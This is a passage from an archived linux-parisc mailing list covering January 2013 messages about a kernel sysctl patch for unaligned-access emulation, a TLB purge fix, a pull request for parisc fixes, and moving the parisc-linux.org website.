References: <50D2B75A.3000208@synopsys.com> <1357196388-1247-1-git-send-email-vgupta@synopsys.com> <1357196388-1247-2-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358287402 24941 80.91.229.3 (15 Jan 2013 22:03:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2013 22:03:22 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-arch@vger.kernel.org, arnd@arndb.de,
	"Eric W. Biederman" <ebiederm@xmission.com>,
	Serge Hallyn <serge.hallyn@canonical.com>
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 23:03:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TvEba-00039S-0a
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 Jan 2013 23:03:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755632Ab3AOWDV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jan 2013 17:03:21 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:54205 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755240Ab3AOWDU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jan 2013 17:03:20 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.10]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MMIQV-1Treln20D7-0082Fd for
 <linux-parisc@vger.kernel.org>; Tue, 15 Jan 2013 23:03:18 +0100
Original-Received: (qmail invoked by alias); 15 Jan 2013 22:03:18 -0000
Original-Received: from p54AD0535.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.5.53]
  by mail.gmx.net (mp010) with SMTP; 15 Jan 2013 23:03:18 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+zm2RhvaSzB2ZaGCov3AOLjNUZNXGeDoWTKsnPkE
	5IIuDf7h2ZbBQ8
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <1357196388-1247-2-git-send-email-vgupta@synopsys.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4743 gmane.linux.kernel:1422544 gmane.linux.kernel.cross-arch:16416
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4743>

On 01/03/2013 07:59 AM, Vineet Gupta wrote:
> PARISC defines /proc/sys/kernel/unaligned-trap to runtime toggle
> unaligned access emulation.
>
> The exact mechanics of enablig/disabling are still arch specific, we can
> make the sysctl usable by other arches.
>
> Signed-off-by: Vineet Gupta<vgupta@synopsys.com>
> Cc: "James E.J. Bottomley"<jejb@parisc-linux.org>
> Cc: Helge Deller<deller@gmx.de>
> Cc: "Eric W. Biederman"<ebiederm@xmission.com>
> Cc: Serge Hallyn<serge.hallyn@canonical.com>

Acked-by: Helge Deller <deller@gmx.de>

Vineet, as discussed, please push it through the ARC architecture tree...

Helge

> ---
>   arch/parisc/Kconfig |    1 +
>   init/Kconfig        |    8 ++++++++
>   kernel/sysctl.c     |    7 ++++++-
>   3 files changed, 15 insertions(+), 1 deletions(-)
>
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index b77feff..8c76095 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -20,6 +20,7 @@ config PARISC
>   	select ARCH_HAVE_NMI_SAFE_CMPXCHG
>   	select GENERIC_SMP_IDLE_THREAD
>   	select GENERIC_STRNCPY_FROM_USER
> +	select SYSCTL_ARCH_UNALIGN_ALLOW
>   	select HAVE_MOD_ARCH_SPECIFIC
>   	select MODULES_USE_ELF_RELA
>   	select CLONE_BACKWARDS
> diff --git a/init/Kconfig b/init/Kconfig
> index e188f9f..e64bb18 100644
> --- a/init/Kconfig
> +++ b/init/Kconfig
> @@ -1240,6 +1240,14 @@ config SYSCTL_ARCH_UNALIGN_NO_WARN
>   	  unaligned access emulation going on under the hood.
>   	  see arch/ia64/kernel/unaligned.c for reference
>
> +config SYSCTL_ARCH_UNALIGN_ALLOW
> +	bool
> +	help
> +	  Enable support for /proc/sys/kernel/unaligned-trap
> +	  Allows arches to define/use @unaligned_enabled to runtime toggle
> +	  the unaligned access emulation.
> +	  see arch/parisc/kernel/unaligned.c for reference
> +
>   config KALLSYMS
>   	 bool "Load all symbols for debugging/ksymoops" if EXPERT
>   	 default y
> diff --git a/kernel/sysctl.c b/kernel/sysctl.c
> index 840fd5e..c4cd655 100644
> --- a/kernel/sysctl.c
> +++ b/kernel/sysctl.c
> @@ -157,13 +157,16 @@ extern int sysctl_tsb_ratio;
>
>   #ifdef __hppa__
>   extern int pwrsw_enabled;
> -extern int unaligned_enabled;
>   #endif
>
>   #ifdef CONFIG_IA64
>   extern int unaligned_dump_stack;
>   #endif
>
> +#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW
> +extern int unaligned_enabled;
> +#endif
> +
>   #ifdef CONFIG_SYSCTL_ARCH_UNALIGN_NO_WARN
>   extern int no_unaligned_warning;
>   #endif
> @@ -548,6 +551,8 @@ static struct ctl_table kern_table[] = {
>   	 	.mode		= 0644,
>   		.proc_handler	= proc_dointvec,
>   	},
> +#endif
> +#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW
>   	{
>   		.procname	= "unaligned-trap",
>   		.data		=&unaligned_enabled,

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Purge existing TLB entries in set_pte_at and ptep_set_wrprotect - take 2
Date: Wed, 16 Jan 2013 22:44:29 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <6320254.iVaF30vePD@donald.sf-tec.de>
References: <BLU0-SMTP8691FD3EB8749D3303BA57972D0@phx.gbl> <1358240719.2752.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart7189399.scppe3JxB0"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1358372777 4459 80.91.229.3 (16 Jan 2013 21:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jan 2013 21:46:17 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 16 22:46:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Tvaoa-0005EY-Fj
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Jan 2013 22:46:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757304Ab3APVqO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jan 2013 16:46:14 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42491 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757240Ab3APVqN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jan 2013 16:46:13 -0500
Original-Received: (qmail 27108 invoked from network); 16 Jan 2013 21:46:11 -0000
Original-Received: from dslb-188-096-212-125.pools.arcor-ip.net ([::ffff:188.96.212.125]:51663 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <james.bottomley@hansenpartnership.com>; Wed, 16 Jan 2013 22:46:11 +0100
User-Agent: KMail/4.9.5 (Linux/3.7.1-17-desktop; KDE/4.9.5; i686; ; )
In-Reply-To: <1358240719.2752.6.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4744>


--nextPart7189399.scppe3JxB0
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="UTF-8"

James Bottomley wrote:
> On Mon, 2013-01-14 at 19:45 -0500, John David Anglin wrote:
> > Attached is new version of patch which no longer saves and restores
> > %sr1.  Lightly tested with a GCC build
> > and a build of Debian gtk+3.0 package.
> 
> I can merge it with your previous changelog, but for ease of git users,
> the accepted format is

> v2: Attached is new version of patch which no longer saves and
> restores  %sr1.  Lightly tested with a GCC build and a build of
> Debian gtk+3.0 package.

Do we want that to go back into stable kernels?

Eike
--nextPart7189399.scppe3JxB0
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlD3H0UACgkQXKSJPmm5/E4SEQCdHtPGSSC3+UlGmNojiUndKr9c
y5UAoItx2Y4mCXbCnowzoyEnGFxYI43w
=Kgkq
-----END PGP SIGNATURE-----

--nextPart7189399.scppe3JxB0--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Purge existing TLB entries in set_pte_at and
 ptep_set_wrprotect - take 2
Date: Wed, 16 Jan 2013 23:18:35 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <50F7273B.6010906@gmx.de>
References: <BLU0-SMTP8691FD3EB8749D3303BA57972D0@phx.gbl> <1358240719.2752.6.camel@dabdike.int.hansenpartnership.com> <6320254.iVaF30vePD@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358374724 22732 80.91.229.3 (16 Jan 2013 22:18:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jan 2013 22:18:44 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 16 23:19:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TvbK1-00018q-3x
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Jan 2013 23:19:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757699Ab3APWSl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jan 2013 17:18:41 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:53679 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757664Ab3APWSk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jan 2013 17:18:40 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.1]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MWMYG-1TSVjL3ajS-00XYAV for
 <linux-parisc@vger.kernel.org>; Wed, 16 Jan 2013 23:18:37 +0100
Original-Received: (qmail invoked by alias); 16 Jan 2013 22:18:37 -0000
Original-Received: from p54AD06E6.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.6.230]
  by mail.gmx.net (mp001) with SMTP; 16 Jan 2013 23:18:37 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19cv+VVALJcD7iHxcHy8jNygzWPxR60sW7qqSPfvD
	cPQ2A0akAV/RZZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <6320254.iVaF30vePD@donald.sf-tec.de>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4745>

Hi Rolf,

On 01/16/2013 10:44 PM, Rolf Eike Beer wrote:
> James Bottomley wrote:
>> On Mon, 2013-01-14 at 19:45 -0500, John David Anglin wrote:
>>> Attached is new version of patch which no longer saves and restores
>>> %sr1.  Lightly tested with a GCC build
>>> and a build of Debian gtk+3.0 package.
>>
>> I can merge it with your previous changelog, but for ease of git users,
>> the accepted format is
> 
>> v2: Attached is new version of patch which no longer saves and
>> restores  %sr1.  Lightly tested with a GCC build and a build of
>> Debian gtk+3.0 package.
> 
> Do we want that to go back into stable kernels?

Short answer: Yes.

Long answer:
First we need those patches upstream - which is what did not happened yet.
Then I wanted to take a look what we can send to stable.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v3.8-rc5
Date: Tue, 22 Jan 2013 22:11:08 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <50FF006C.7070803@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358889099 16331 80.91.229.3 (22 Jan 2013 21:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Jan 2013 21:11:39 +0000 (UTC)
To: Linus <torvalds@linux-foundation.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	John David Anglin <dave.anglin@bell.net>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 22 22:11:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Txl8N-0006XI-Co
	for glpp-linux-parisc@plane.gmane.org; Tue, 22 Jan 2013 22:11:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756134Ab3AVVLS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jan 2013 16:11:18 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:56408 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755953Ab3AVVLO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jan 2013 16:11:14 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MUzZb-1TPWJG4BUj-00YNhE for
 <linux-parisc@vger.kernel.org>; Tue, 22 Jan 2013 22:11:12 +0100
Original-Received: (qmail invoked by alias); 22 Jan 2013 21:11:11 -0000
Original-Received: from p54AD063A.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.6.58]
  by mail.gmx.net (mp028) with SMTP; 22 Jan 2013 22:11:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/T0fs4WvrT5SkMWEIC/fcLnsr8Y3KCUIpnhafj+5
	Ff+520KZsnp/r4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4747 gmane.linux.kernel:1427356
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4747>

Hi Linus,

please consider pulling the following 4 patches for 3.8-rc5 which improve
the stability of the linux kernel on the parisc architecture.

Only parisc arch-specfic files are changed.

Thanks,
Helge  


The following changes since commit d287b8750e47c1702dab0e37ac11012bb751ece0:

  Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs (2013-01-07 09:41:20 -0800)

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git for-linus


----------------------------------------------------------------
John David Anglin (4):
      parisc: avoid undefined shift in cnv_float.h
      parisc: don't claim cpu irqs more than once
      parisc: improve ptrace support for gdb single-step
      parisc: sigaltstack doesn't round ss.ss_sp as required

 arch/parisc/kernel/entry.S       | 18 +++++++++++++-----
 arch/parisc/kernel/irq.c         |  6 ++++--
 arch/parisc/kernel/ptrace.c      |  2 +-
 arch/parisc/kernel/signal.c      |  4 +++-
 arch/parisc/math-emu/cnv_float.h | 11 +++++------
 5 files changed, 26 insertions(+), 15 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Wed, 23 Jan 2013 14:17:39 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20130123211739.GA26674@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
 <20120209175547.GA22332@dannf.org>
 <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
 <20120214180519.GA32602@dannf.org>
 <CA+DQjFh8qF961ZGqt8yHJu4gPP=ji9Y08hqseRoPQg7637uMQA@mail.gmail.com>
 <CADZpyiwqn60ChBSO5PJj9AojH2CWQvRgjYM61iRQxryH2wzUnA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1358976219 4118 80.91.229.3 (23 Jan 2013 21:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jan 2013 21:23:39 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 23 22:23:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ty7nT-00033J-Ue
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Jan 2013 22:23:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751345Ab3AWVXd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jan 2013 16:23:33 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:46974 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751935Ab3AWVXa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jan 2013 16:23:30 -0500
X-Greylist: delayed 349 seconds by postgrey-1.27 at vger.kernel.org; Wed, 23 Jan 2013 16:23:30 EST
Original-Received: from localhost (c-76-120-123-66.hsd1.co.comcast.net [76.120.123.66])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id BCB1233E001E;
	Wed, 23 Jan 2013 14:17:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <CADZpyiwqn60ChBSO5PJj9AojH2CWQvRgjYM61iRQxryH2wzUnA@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.5 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4748>

On Tue, Feb 14, 2012 at 01:33:48PM -0500, Carlos O'Donell wrote:
> On Tue, Feb 14, 2012 at 1:31 PM, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> > It looks to me like this burden clearly outweighs the benefits of
> > being selfhosted, so maybe the right move is to use a supported
> > architecture for hosting the website? Given the "audience" for
> > linux-parisc, I don't think it would make a significant difference...
> 
> I tend to agree. Use the right tool for the right job.
> 
> Fun hacking = HPPA.
> 
> Serve the website = x86.

fyi, the subnet on which palinux (aka parisc-linux.org) is hosted will
be going away at the end of February. This sounds like a good target
date for the move :)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Wed, 23 Jan 2013 18:14:01 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <BLU0-SMTP94043E9796BDEDBF8A44B997150@phx.gbl>
References: <20120208143347.GB22903@dannf.org> <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com> <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl> <20120209175547.GA22332@dannf.org> <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl> <20120214180519.GA32602@dannf.org> <CA+DQjFh8qF961ZGqt8yHJu4gPP=ji9Y08hqseRoPQg7637uMQA@mail.gmail.com> <CADZpyiwqn60ChBSO5PJj9AojH2CWQvRgjYM61iRQxryH2wzUnA@mail.gmail.com> <20130123211739.GA26674@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1358982875 864 80.91.229.3 (23 Jan 2013 23:14:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jan 2013 23:14:35 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 24 00:14:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ty9Wu-0005YX-0x
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jan 2013 00:14:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752008Ab3AWXOe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jan 2013 18:14:34 -0500
Original-Received: from blu0-omc4-s20.blu0.hotmail.com ([65.55.111.159]:32793 "EHLO
	blu0-omc4-s20.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751718Ab3AWXOe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jan 2013 18:14:34 -0500
Original-Received: from BLU0-SMTP94 ([65.55.111.136]) by blu0-omc4-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 23 Jan 2013 15:14:33 -0800
X-EIP: [BAXkw9/cmsfF+rYSDimtlS50yO76uu/g]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.215]) by BLU0-SMTP94.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 23 Jan 2013 15:14:32 -0800
In-Reply-To: <20130123211739.GA26674@dannf.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Jan 2013 23:14:32.0817 (UTC) FILETIME=[67252610:01CDF9BF]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4749>

On 23-Jan-13, at 4:17 PM, dann frazier wrote:

> On Tue, Feb 14, 2012 at 01:33:48PM -0500, Carlos O'Donell wrote:
>> On Tue, Feb 14, 2012 at 1:31 PM, Thibaut VARENE <T-Bone@parisc-linux.org 
>> > wrote:
>>> It looks to me like this burden clearly outweighs the benefits of
>>> being selfhosted, so maybe the right move is to use a supported
>>> architecture for hosting the website? Given the "audience" for
>>> linux-parisc, I don't think it would make a significant  
>>> difference...
>>
>> I tend to agree. Use the right tool for the right job.
>>
>> Fun hacking = HPPA.
>>
>> Serve the website = x86.
>
> fyi, the subnet on which palinux (aka parisc-linux.org) is hosted will
> be going away at the end of February. This sounds like a good target
> date for the move :)

There are a few people who still use the domain for parisc related mail.
James Bottomley is the most active.  Hopefully, this will also get moved
with the website.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Wed, 23 Jan 2013 16:32:42 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20130123233242.GF26674@dannf.org>
